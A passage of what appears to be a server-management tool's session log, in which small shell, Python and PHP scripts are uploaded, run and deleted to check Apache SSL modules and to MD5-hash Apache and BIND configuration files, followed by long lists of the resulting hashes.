	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2026-04-20 19:08:54: 

chmod 755 /tmp/pkp471873; /tmp/pkp471873; rm /tmp/pkp471873

2026-04-20 19:08:54: 


status=ok


2026-04-20 19:08:54: 

PUT: /tmp/pkp521582

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-20 19:08:55: 

chmod 755 /tmp/pkp521582; /tmp/pkp521582; rm /tmp/pkp521582

2026-04-20 19:08:55: 
(gzipped output)


MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/hostz_pluto_org.conf)= 0f07530b943c75cd8c410d7dfc543602
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= 14391e87eacd6f9c625f0625b8cccabf
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/hostz_pluto_org.conf)= /etc/apache2/sites-available/hostz_pluto_org.conf




STDERR:
/tmp/pkp521582:12: SyntaxWarning: invalid escape sequence '\s'
  match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)


2026-04-21 06:00:02: Establishing a remote connection
2026-04-21 14:05:13: Establishing a connection
2026-04-21 14:05:13: 

PUT: /tmp/pkp170646

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-21 14:05:13: 

runuser -l bind -s /bin/bash -c '/tmp/pkp170646; rm /tmp/pkp170646'

2026-04-21 14:05:13: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-21 14:05:16: Establishing a connection
2026-04-21 14:05:16: 

PUT: /tmp/pkp294140

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-21 14:05:17: 

runuser -l bind -s /bin/bash -c '/tmp/pkp294140; rm /tmp/pkp294140'

2026-04-21 14:05:17: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
